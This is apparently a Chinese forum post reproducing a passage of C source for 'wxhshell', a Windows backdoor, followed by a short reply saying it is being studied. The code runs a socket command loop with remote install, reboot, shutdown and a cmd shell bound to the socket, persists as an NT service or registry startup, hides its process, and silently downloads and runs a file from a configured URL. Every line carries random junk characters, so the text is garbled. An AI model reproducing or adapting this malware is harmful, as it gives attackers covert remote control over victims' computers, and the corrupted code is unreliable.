  else [rGR1>U?i  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *mBn''a"*  
  } t$s)S>  
  else { qE(`@G  
GfVMj7{  
    switch(cmd[0]) { <y!6HJ"  
  h j9 b Mj  
  // 帮助 x~KS;hA  
  case '?': { <;W4Th<4  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); b/<4\f  
    break; vW~_+:),e  
  } mb?yG:L=0b  
  // 安装 HaLEQ73  
  case 'i': { #r0A<+t{T  
    if(Install()) _pk=IHGsB  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %#|S  
    else idz6m]{~yT  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); BXm{x6\  
    break; Be?mIwc_g  
    } hydn" 9;  
  // 卸载 -@AGQ+e  
  case 'r': { 6`%}s3Xq  
    if(Uninstall()) +}z T][9w  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8CMI\yk  
    else QULrE+@  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4yjAi@ /2  
    break; _3ZZ-=J:=*  
    } 'L=g(  
  // 显示 wxhshell 所在路径 >YPfk=0f0  
  case 'p': { >oLM2VJ  
    char svExeFile[MAX_PATH]; c-`&e-~XKL  
    strcpy(svExeFile,"\n\r"); Br-bUoua  
      strcat(svExeFile,ExeFile); J]$%1Y  
        send(wsh,svExeFile,strlen(svExeFile),0); {"s9A&  
    break; ]_5C5m  
    } jj.)$|&#`  
  // 重启 d0 |Q1R+3  
  case 'b': { D*_ F@}=  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); R?^FO:nM%!  
    if(Boot(REBOOT)) uy7)9w  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); V@T G"YF  
    else { sE]eIN  
    closesocket(wsh); :Im_=S[0  
    ExitThread(0); c1b@3  
    } qC IZW  
    break; OB5(4TY  
    } LvE|K&R|  
  // 关机 )]rGGNF*  
  case 'd': { R%}OZJ_  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Jd/ 5Kx  
    if(Boot(SHUTDOWN)) h&[!CtPm  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )V~<8/)  
    else { DR^mT$  
    closesocket(wsh); H| IsjCc  
    ExitThread(0); rt t?4  
    } us$~6  
    break; )FE'#\  
    } <@e6zQG  
  // 获取shell 0^tF_."Y  
  case 's': { k|a{ |2p  
    CmdShell(wsh); )p ,-TtV  
    closesocket(wsh); hoeOdWI pf  
    ExitThread(0); i^="*t\i  
    break; /C_O/N  
  } ;LthdY()n(  
  // 退出 &`t-[5O\  
  case 'x': { "'s`?  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Mm|HA@W^  
    CloseIt(wsh); B.|2w  
    break; #S_LKc  
    } (\#j3Y)r  
  // 离开 dzggl(  
  case 'q': { rJD>]3D5p  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); u~% m(  
    closesocket(wsh); Hq6VwQu?  
    WSACleanup(); Vs\ )w>JF  
    exit(1); SO8Ej)m  
    break; Po93&qE  
        } $;"@;Lj%,  
  } ,_P(!7Z8  
  } ml\7JW6Rx  
A~O 'l&KB  
  // 提示信息 5|Vb)QBv%  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); o %Pi;8  
} >8 VfijK  
  } kax9RH vku  
<&b ~(f  
  return; ()3+! };  
} l AE$HP'o  
*slZ17xg  
// shell模块句柄 4hZ-^AL"(  
int CmdShell(SOCKET sock) :IbrV@gN{@  
{ Xgr|~(^  
STARTUPINFO si; R# mZYg  
ZeroMemory(&si,sizeof(si)); 0Rrz   
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; xLq+n jH E  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; {Yv |C)O  
PROCESS_INFORMATION ProcessInfo; cidS/OH  
char cmdline[]="cmd"; -&@[]/  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 29x "E$e  
  return 0; Q Gn4AW_  
} q{n~s=  
hTH"jAC+  
// 自身启动模式 >-EoE;s  
int StartFromService(void) DlfXzKn;  
{ /8J2,8vZ  
typedef struct SJIJV6}H  
{ $(#o)r>_R  
  DWORD ExitStatus; T|ZT&x$z  
  DWORD PebBaseAddress; .oAg (@^6  
  DWORD AffinityMask; &=@ R,  
  DWORD BasePriority; (#\3XBG  
  ULONG UniqueProcessId; 5j,)}AYO  
  ULONG InheritedFromUniqueProcessId; ]:m*7p\uk  
}   PROCESS_BASIC_INFORMATION; efZdtrKgy  
JI@~FD&  
PROCNTQSIP NtQueryInformationProcess; tj{rSg7{  
>Py;6K  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; I`DdhMi7  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; +- c#UO>  
-D38>#Y  
  HANDLE             hProcess; /xj'Pq((}p  
  PROCESS_BASIC_INFORMATION pbi; y)Ip\.KV\  
E5-8tHV   
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 'xr\\Cd9s  
  if(NULL == hInst ) return 0; :mL\KQ  
:t^=~xO9  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); F2 >o"j2  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ls 'QfJm  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); C @hnT<e  
6Q>:g"_  
  if (!NtQueryInformationProcess) return 0; ;2#HM^Mu  
ax'Dp{Q  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); LTBqXh  
  if(!hProcess) return 0; 3_vggK%  
:,]%W $f=  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; tul5:}x3  
9bqfZ"6nXY  
  CloseHandle(hProcess); pd>EUdbrp&  
)<-kS  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 'Kp|\T r  
if(hProcess==NULL) return 0; @2kt6 W  
:m@(S6T m  
HMODULE hMod; LW ntZ.  
char procName[255]; ~cU,3g  
unsigned long cbNeeded; 3Mr)oM< Q  
v\$XhOK  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); |hOqz2|  
[4PG_k[uTJ  
  CloseHandle(hProcess); vnXpC!1  
XW5r@:e  
if(strstr(procName,"services")) return 1; // 以服务启动 mbJ#-^}V  
mZMLDs:  
  return 0; // 注册表启动 j"}alS`-  
} AP/tBC eM  
wjKW 3  
// 主模块 /of,4aaK7  
int StartWxhshell(LPSTR lpCmdLine) > YN<~z-  
{ <P g.N  
  SOCKET wsl; @0n #Qs|E!  
BOOL val=TRUE; QP[w{T  
  int port=0; CNf eHMT  
  struct sockaddr_in door; Jq/([  
b`18y cVME  
  if(wscfg.ws_autoins) Install(); HO & #Lv  
B5J=q("P  
port=atoi(lpCmdLine); (fY(-  
LT:KZ|U9  
if(port<=0) port=wscfg.ws_port; ~;Xdz/  
.NwHr6/s*  
  WSADATA data; 1 9;\:tN  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; GJ{]}fl  
qo$<&'r  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   o)Ob}j  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); `Z/"Dd;F^3  
  door.sin_family = AF_INET; WElB,a-RCp  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); vIz~B2%x  
  door.sin_port = htons(port); 7 tit>dJ  
HQv#\Xi1  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { eX;"kO  
closesocket(wsl); t6s#19g  
return 1; \CU.'|X  
} -DU[dU*~  
6M259*ME  
  if(listen(wsl,2) == INVALID_SOCKET) { %hcY [F<  
closesocket(wsl); v3.JG]zLpP  
return 1; eUx|_*`  
} Tx],- U  
  Wxhshell(wsl); u=RF6V|  
  WSACleanup(); jJ|O]v$N  
Bam7^g'*!3  
return 0; hbxG  
y*|"!FK  
} 70*Y4'u }A  
(MwB% g  
// 以NT服务方式启动 Q6"r^w Wx  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) I9k o*f  
{ 8Qek![3^  
DWORD   status = 0; 6W#M[0  
  DWORD   specificError = 0xfffffff; LI"ghz=F  
;`s/|v  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ze!7qeW  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; </qXKEu`_  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; T4J (8!7  
  serviceStatus.dwWin32ExitCode     = 0; z1(rHJd  
  serviceStatus.dwServiceSpecificExitCode = 0; M nH4p  
  serviceStatus.dwCheckPoint       = 0; g^4'42UX  
  serviceStatus.dwWaitHint       = 0; =#n|t[h-  
A2* z  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); VT;$:>! +  
  if (hServiceStatusHandle==0) return; 0alm/or  
p>65(&N,  
status = GetLastError(); >k kuw?O@  
  if (status!=NO_ERROR) RzFv``g  
{ V\X.AGc  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; vYrqZie<  
    serviceStatus.dwCheckPoint       = 0; mqw& SxU9  
    serviceStatus.dwWaitHint       = 0; h-Ffs  
    serviceStatus.dwWin32ExitCode     = status; VmV/~-<Z  
    serviceStatus.dwServiceSpecificExitCode = specificError; |BF4 F5wC?  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); D{ @x  
    return; F.^1|+96  
  } >$?$&+e}  
b!ot%uZZ  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; q\[f$==p  
  serviceStatus.dwCheckPoint       = 0; >%'|@75K  
  serviceStatus.dwWaitHint       = 0; /nGsl<  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); hJ+>Xm@@!  
} yH@W6'.  
^hRos  
// 处理NT服务事件,比如:启动、停止 wUW+S5"K  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 0rjxWPc  
{ 7L? ~;;L$  
switch(fdwControl) {b= ]JPE  
{ 2c_#q1/Z/  
case SERVICE_CONTROL_STOP: vX/~34o]\  
  serviceStatus.dwWin32ExitCode = 0; ?psvhB{O  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ]rXRon='  
  serviceStatus.dwCheckPoint   = 0; W?5^cEF  
  serviceStatus.dwWaitHint     = 0; qZG "{8  
  { vfcj,1  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); UIovv%7zZ  
  } 50Pz+:  
  return; Q V4{=1A  
case SERVICE_CONTROL_PAUSE: v; &-]ka  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; H '&x4[J:  
  break; i|)<#Ywl  
case SERVICE_CONTROL_CONTINUE: 1^b-J0  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; _Cj u C`7  
  break; AQQeLdTq  
case SERVICE_CONTROL_INTERROGATE: s(r(! FZ  
  break; ]fnc.^{  
}; o!gl :izb  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); _U|s!60'  
} 59F AhEg  
RxjC sjg  
// 标准应用程序主函数 y4w{8;Mh  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) t+|c)"\5h  
{ .FtW $Y~y  
4b,N"w{v  
// 获取操作系统版本 {%)bxk6  
OsIsNt=GetOsVer(); fnN"a Z  
GetModuleFileName(NULL,ExeFile,MAX_PATH); gp$oQh#37;  
wtu WzHrF  
  // 从命令行安装 :1PT`:Y  
  if(strpbrk(lpCmdLine,"iI")) Install(); Ma2sQW\  
p. SEW5  
  // 下载执行文件 &S>m +m'  
if(wscfg.ws_downexe) { >RG }u  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 4 ac2^`  
  WinExec(wscfg.ws_filenam,SW_HIDE); FI`][&]V  
} J/:9;{R  
Pa 'g=-  
if(!OsIsNt) { Rs$k3   
// 如果时win9x,隐藏进程并且设置为注册表启动 *&Np;^~  
HideProc(); 4nN%5c~=  
StartWxhshell(lpCmdLine); 9r+]V=  
} 3<88j&9  
else KnaQhZ  
  if(StartFromService()) }*4XwUM e  
  // 以服务方式启动 /EZF5_`bT  
  StartServiceCtrlDispatcher(DispatchTable); MN}@EQvW==  
else &}_E~jKK  
  // 普通方式启动 4onRO!G,  
  StartWxhshell(lpCmdLine); }Dc0 Y  
sk5h_[tK  
return 0; {0 IEizQ|i  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
如果您在写长篇帖子又不马上发表,建议存为草稿
认证码:
验证问题:
10+5=?,请输入中文答案:十五